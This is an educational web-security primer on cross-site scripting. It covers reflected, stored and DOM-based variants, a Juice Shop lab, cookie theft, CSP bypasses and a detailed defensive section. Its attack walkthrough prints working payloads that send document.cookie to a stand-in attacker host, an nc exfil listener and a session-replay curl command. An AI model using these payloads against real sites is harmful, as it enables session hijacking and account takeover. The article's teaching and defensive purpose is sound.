Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions.
Introduction / Overview
Cross-Site Scripting (XSS) remains one of the most pervasive web vulnerabilities — it sits in the OWASP Top 10 under A03:2021 (Injection) and maps to MITRE ATT&CK T1059.007 (JavaScript) and CAPEC-63. At its core, XSS is a failure to separate data from code: attacker-controlled input is reflected into an HTML, JavaScript, or attribute context without proper encoding, and the victim's browser executes it as script.
In this primer you will learn the three canonical XSS classes (reflected, stored, DOM-based), build a small vulnerable lab, weaponize an injection for cookie theft, and walk through realistic CSP bypass techniques. We close with a Blue Team section weighted equally to the offensive content.
How It Works / Background
The browser parses an HTTP response into a DOM tree. When user input lands in a script-executing context without contextual output encoding, the parser treats it as markup or code. The three classes differ in where the injection lives:
- Reflected XSS — the payload travels in the request (query string, form field) and is echoed back in the immediate response. It is non-persistent; the attacker must lure the victim into clicking a crafted link.
- Stored XSS — the payload is saved server-side (comment, profile field, log viewer) and served to every visitor. It is the highest-impact class because it needs no social engineering and can self-propagate (XSS worms, e.g. Samy).
- DOM-based XSS — the vulnerability is entirely client-side. A
source(e.g.location.hash,document.referrer) flows into asink(e.g.innerHTML,eval,document.write) without sanitization. The server may never see the payload at all.
Critically, the context dictates the payload. Injecting into an HTML body differs from an HTML attribute, a <script> block, a URL, or a CSS context — each needs different escaping to break out of.
Prerequisites / Lab Setup
Spin up a deliberately vulnerable target. OWASP Juice Shop is ideal and ships as a container:
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Browse to http://localhost:3000BashYou will also want an interception proxy and a simple exfil listener:
# Burp Suite Community or OWASP ZAP for request tampering
zaproxy &
# A netcat collector to receive stolen cookies during PoC
nc -lvnp 4444BashFor polyglot fuzzing, grab a vetted payload list (e.g. PortSwigger's XSS cheat sheet or SecLists):
git clone https://github.com/danielmiessler/SecLists.git
ls SecLists/Fuzzing/XSS/BashAttack Walkthrough / PoC
1. Reflected XSS
Find a parameter echoed into the response. Juice Shop's search field reflects the query into the DOM. A minimal probe:
<iframe src="javascript:alert(document.domain)">HTMLConfirm reflection, then identify the context. If your input lands inside an HTML body, a classic breakout works:
"><svg onload=alert(document.cookie)>HTMLDeliver it as a crafted link:
http://localhost:3000/#/search?q=%3Ciframe%20src%3D%22javascript%3Aalert(1)%22%3EPlaintext2. Stored XSS
Locate a field persisted and rendered to other users — a product review, a feedback form, or an admin-facing log. Submit a payload and trigger it by viewing the page where it renders. A stored payload that beacons back to the attacker:
<script>new Image().src='http://attacker.tld:4444/?c='+encodeURIComponent(document.cookie)</script>HTMLWhen an admin opens the page, the cookie is exfiltrated to your nc listener.
3. DOM-based XSS
Audit client-side JavaScript for source-to-sink flows. A vulnerable pattern:
// Vulnerable: hash flows directly into innerHTML
document.getElementById('out').innerHTML = location.hash.substring(1);JavaScriptTrigger it without the server ever seeing the payload:
http://victim.tld/page#<img src=x onerror=alert(document.domain)>PlaintextNote that innerHTML will not run a bare <script>, so use an event handler (onerror, onload) or an <svg>/<img> vector.
4. Cookie Theft and Session Hijacking
The classic impact is stealing a session. If the cookie lacks the HttpOnly flag, document.cookie is readable from script:
<script>
fetch('http://attacker.tld:4444/steal', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>HTMLReplay the captured session token in your own browser (or via curl) to impersonate the victim:
curl -H "Cookie: token=<stolen_jwt>" https://victim.tld/api/profileBashIf HttpOnly is set, pivot to actions instead of theft: trigger authenticated requests (CSRF-style), read the DOM/CSRF tokens, or keylog the page.
5. CSP Bypass
A Content-Security-Policy can block inline script — but misconfigurations are common. Inspect the header:
curl -sI https://victim.tld/ | grep -i content-security-policyBashCommon bypasses against a weak policy:
unsafe-inlinepresent → inline payloads run unchanged.- Wildcard or overly broad host (
script-src *or a CDN that hosts JSONP) → load an external script or abuse a JSONP endpoint:
<script src="https://trusted-cdn.tld/jsonp?callback=alert"></script>HTMLunsafe-eval→ leverage frameworks (AngularJS sandbox escapes) oreval-based gadgets.- Missing
base-uri→ inject<base href>to hijack relative script URLs. - Nonce reuse / predictable nonce → reuse a leaked nonce. Test policy quality with Google's evaluator:
# CSP Evaluator: https://csp-evaluator.withgoogle.com/BashMermaid Diagram

The diagram shows a stored-XSS cookie-theft chain: the attacker plants a payload, a victim renders it, the victim's browser exfiltrates the session cookie, and the attacker replays it to hijack the session.
Detection & Defense (Blue Team)
Defense must be layered — no single control is sufficient.
1. Contextual output encoding (primary defense). Encode data at the point of output for its exact context (HTML entity, attribute, JS string, URL). Use framework auto-escaping (React JSX, Angular interpolation, Go html/template) and never disable it (dangerouslySetInnerHTML, [innerHTML], | safe are red flags).
2. Input validation. Allowlist expected formats server-side. Treat validation as defense-in-depth, not the primary control.
3. Trusted Types (DOM XSS). Enforce a header that forces all DOM sink writes through a sanitizer:
Content-Security-Policy: require-trusted-types-for 'script';Plaintext4. A strict Content-Security-Policy. Prefer nonce- or hash-based policies; avoid unsafe-inline and unsafe-eval:
Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none';Plaintext'strict-dynamic' lets trusted scripts load further scripts while ignoring host allowlists — the modern recommended pattern.
5. Cookie hardening. Set HttpOnly, Secure, and SameSite=Strict/Lax so script cannot read session cookies and CSRF surface shrinks:
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict; Path=/PowerShell6. Sanitization libraries. For rich-text use cases that must render HTML, sanitize with DOMPurify rather than rolling your own:
el.innerHTML = DOMPurify.sanitize(userInput);JavaScriptDetection. Monitor WAF/CSP telemetry for the signal:
# Tail CSP violation reports forwarded via report-to / report-uri
tail -f /var/log/nginx/csp-reports.log | grep -i "script-src"BashCSP report-uri/Reporting-API violations are a high-fidelity indicator of injection attempts in production. Also alert on <script, onerror=, javascript:, and document.cookie patterns in WAF logs (ModSecurity CRS rule family 941xxx covers XSS), and run DAST regression scans (ZAP, Burp) in CI.
For related session-attack tradecraft, see Session Hijacking Techniques and Content-Security-Policy Deep Dive. For chaining XSS into account takeover via CSRF, see CSRF Exploitation.
Conclusion
XSS persists because it lives at the boundary between data and executable code in a forgiving HTML/JS runtime. The offensive playbook — reflected, stored, and DOM vectors leading to cookie theft and CSP bypass — is mature, but so is the defense. Contextual output encoding, a strict nonce-based CSP with strict-dynamic, Trusted Types, and HttpOnly/SameSite cookies together reduce both the likelihood and the impact to near zero. Test with the attacker mindset; ship with the defender's controls.
References
- OWASP — Cross-Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- PortSwigger Web Security Academy — XSS: https://portswigger.net/web-security/cross-site-scripting
- MITRE ATT&CK T1059.007 (JavaScript): https://attack.mitre.org/techniques/T1059/007/
- MITRE CAPEC-63 (Cross-Site Scripting): https://capec.mitre.org/data/definitions/63.html
- Google CSP Evaluator: https://csp-evaluator.withgoogle.com/
- DOMPurify: https://github.com/cure53/DOMPurify
- HackTricks — XSS: https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting



Comments